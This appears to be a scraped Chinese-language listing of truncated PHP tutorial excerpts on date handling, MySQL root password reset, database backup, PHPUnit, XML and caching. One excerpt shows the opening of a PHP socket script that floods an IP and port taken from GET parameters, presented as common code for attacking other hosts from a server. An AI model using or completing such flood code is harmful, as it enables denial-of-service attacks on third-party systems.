Time of Update: 2016-07-21
涉及多個方面,比如PHP代碼規範、PHP檔案命名規範、網站開發流程、網站安全與維護等。作為PHP開發規範的開篇,我從一個純PHP開發人員的角度來說說我所認為的PHP代碼規範,主要從PHP目錄架構結構、PHP代碼書寫規範、PHP檔案命名規範三個角度來闡述,希望對PHP入門學習者有所協助。 合理建設PHP目錄架構結構 我們知道在使用PHP進行網站開發之前,我們需要建設網站的目錄結構,網站目錄架構結構設計得合理規範,不但有利於網站開發,而且對SEO,網站推廣都有好處。
Time of Update: 2016-07-21
複製代碼 代碼如下: $url = "http://sinaurl.cn/hbdsU5"; echo unshorten($url); function unshorten($url) { $url = trim($url); $headers = get_headers($url); $location = $url; $short = false; foreach($headers as $head) { if($head=="HTTP/1.1 302 Found") $short =
Time of Update: 2016-07-21
複製代碼 代碼如下://mktime = mktime($hours,minute,seconds,month,day,years) $start_time = mktime(0,0,0,01,09,2010); //開始時間 $end_time = mktime(0,0,0,02,09,2010); //結束時間 $times = $end_time-$start_time; //開始與結束之間相差多少秒 $now_time = $times/(24*3600);
Time of Update: 2016-07-21
1.用系統管理員登陸系統。 2.停止MySQL的服務。 3.進入命令視窗,然後進入MySQL的安裝目錄,比如我的安裝目錄是c:mysql,進入C:mysqlbin 4.跳過許可權檢查啟動MySQL, c:mysqlbin>mysqld-nt --skip-grant-tables 5.重新開啟一個視窗,進入c:mysqlbin目錄,設定root的新密碼 c:mysqlbin>mysqladmin -u root flush-privileges password "newpassword" c:
Time of Update: 2016-07-21
當我過去用ASP時解決這個問題相當簡單,ASP有相應的函數DateDiff可以給出兩個日期間間隔多少月、多少天和多少秒。當我搜尋完PHP手冊後我發現PHP並沒有類似的函數。 本文包含以下內容: 1、 得到目前的日期和時間-我們有多少種方式? 2、 改變日期顯示的方式-日期和時間的顯示形式 3、 轉換現在的日期為Unix的時間戳記值 4、 改變日期 a. 增加時間 b. 減去時間 c. 找出兩日期之間的間隔 5、 為PHP添加DateAdd函數 6、 為PHP添加DateDiff函數
Time of Update: 2016-07-21
用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,常見代碼如下: 複製代碼 代碼如下: $packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \";
Time of Update: 2016-07-21
以下是代碼: 一、備份資料庫並下載到本地【db_backup.php】 複製代碼 代碼如下: // 設定SQL檔案儲存檔案名稱 $filename=date("Y-m-d_H-i-s")."-".$cfg_dbname.".sql"; // 所儲存的檔案名稱 header("Content-disposition:filename=".$filename); header("Content-type:application/octetstream");
Time of Update: 2016-07-21
迴圈建立目錄方法 這個會產生image.gif目錄 複製代碼 代碼如下: $filepath = "test/upload/2010/image.gif"; mk_dir($filepath); // 迴圈建立目錄 function mk_dir($dir, $mode = 0755) { if (is_dir($dir) || @mkdir($dir,$mode)) return true; if (!mk_dir(dirname($dir),$mode)) return false;
Time of Update: 2016-07-21
1、markTestSkipped和markTestIncomplete 在phpunit中,有兩個有用的方法markTestSkipped和markTestIncomplete。它們能允許你編寫的單元測試中不單是只有通過和失敗兩種結果。markTestSkipped能讓PHPUNIT不去執行某個已經編寫好的測試方法。舉個例子說明,比如下面的程式:phppublic function testThisMightHaveADb(){ $myObject->createObject();
Time of Update: 2016-07-21
當你遇到以上這些令你沮喪的情況時,你一定會想能有什麼更好的辦法去解決呢?辦法當然是有的!這就是使用單元測試。單元測試不但可以在一定程度上解決上述頭疼的問題,而且能讓代碼變的容易維護,還可以能讓你更多地對代碼進行重構。
Time of Update: 2016-07-21
許多人在使用過程中都會遇到這樣那樣的問題,而且zend framework現在已經到1.11版本了,網路上的很多資料都還停留在舊版本上,因此我在這裡以當前的最新版本1.11為例,來簡單介紹一下如何使用zend framework建立模組化的應用程式。由於今後架構的版本升級,有些內容可能會過時,請及時參閱最新的使用手冊。 1、準備工作首先假設你已經部署了web伺服器和php,並下載了zend framework的最新版本,建立了一個最原始的zend
Time of Update: 2016-07-21
/** * 將數組的內部指標倒回一位 * @param array &$arr * @return mixed 返回前一個單元的值,當沒有更多單元時返回 FALSE * 如果數組包含空的單元,或者單元的值是 0 則本函數碰到這些單元也返回 FALSE * 要正確遍曆可能含有空單元或者單元值為 0 的數組,參見 each() 函數 */ mixed prev(array &$arr); $transport = array('foot', 'bike', 'car', 'plane');
Time of Update: 2016-07-21
清單 1.簡單的擲骰器 許多遊戲和遊戲系統都需要骰子。讓我們先從簡單的部分入手:擲一個六面骰子。實際上,滾動一個六面骰子就是從 1 到 6 之間選擇一個隨機數字。在 PHP 中,這十分簡單:echo rand(1,6);。 在許多情況下,這基本上很簡單。但是在處理機率遊戲時,我們需要一些更好的實現。PHP 提供了更好的隨機數字產生器:mt_rand()。在不深入研究兩者差別的情況下,可以認為 mt_rand 是一個更快、更好的隨機數字產生器:echo
Time of Update: 2016-07-21
比如說,想要保護admin檔案夾,經過以下兩個步驟: 步驟一、可以用記事本建立檔案.htaccess,輸入以下內容: AuthType BasicAuth UserFile D:/AppServ/www/Hill/admin/.htpasswd AuthName “hill” require valid-user 各行不多解釋,關鍵是第二行,一定要是絕對路徑,表示.htpasswd檔案的位置。(位置任意) 然後把這個名為.htaccess的檔案放到admin檔案夾中。
Time of Update: 2016-07-21
drupal檔案上傳表單的例子 複製代碼 代碼如下: function upload_form() { $form = array(); // If this #attribute is not present, upload will fail on submit $form['#attributes']['enctype'] = 'multipart/form-data'; $form['file_upload'] = array( '#title' => t('Upload file'),
Time of Update: 2016-07-21
新裝了windows7 64位系統後,配備布置許多東西,總是有這樣的那樣子的拂意,昨天在開始配備布置php+apache的時候,echo phpinfo()完全沒問題,但是一朝串連mysql就會呈現頁面被重設的問題。原來問題不大,但是我卻走到了誤區: 1、我懷疑64位系統的問題; 2、我感覺代碼靠不住,因為另外都能執行,輕率寫個 substr()也是能顯示出來的 ...... 這個問題糾結了我一天多,但是還是沒解決到,無奈之下 我用" php 串連 mysql 串連被重設
Time of Update: 2016-07-21
用 PHP 讀取和編寫可延伸標記語言 (XML)(XML)看起來可能有點恐怖。實際上,XML 和它的所有相關技術可能是恐怖的,但是用 PHP 讀取和編寫 XML 不一定是項恐怖的任務。首先,需要學習一點關於 XML 的知識 —— 它是什麼,用它做什麼。然後,需要學習如何用 PHP 讀取和編寫 XML,而有許多種方式可以做這件事。 本文提供了 XML 的簡短入門,然後解釋如何用 PHP 讀取和編寫 XML。 什麼是 XML? XML
Time of Update: 2016-07-21
代碼: 複製代碼 代碼如下: $a = array('a' => 'a', 'b' => 'b'); $b = array('c' => 'c', 'd' => 'd'); $c = $a + $b; print(''); print_r($c); print(''); ?> 結果: 複製代碼 代碼如下: Array ( [a] => a [b] => b [c] => c [d] => d )
Time of Update: 2016-07-21
複製代碼 代碼如下: function my_image_resize($src_file, $dst_file, $dst_width=32, $dst_height=32) { if($dst_width echo "params width or height error !"; exit(); } if(!file_exists($src_file)) { echo $src_file . " is not exists !"; exit(); }
Time of Update: 2016-07-21
普遍緩衝技術 資料緩衝:這裡所說的資料緩衝是指資料庫查詢快取,每次訪問頁面的時候,都會先檢測相應的快取資料是否存在,如果不存在,就串連資料庫,得到資料, 並把查詢結果序列化後儲存到檔案中,以後同樣的查詢結果就直接從緩衝表或檔案中獲得。 用的最廣的例子看Discuz的搜尋功能,把結果ID緩衝到一個表中,下次搜尋相同關鍵字時先搜尋緩衝表。 舉個常用的方法,多表關聯的時候,把附表中的內容產生數組儲存到主表的一個欄位中,需要的時候數組分解一下,這樣的好處是唯讀一個表,壞處就是兩個 資料同步會多不少步驟,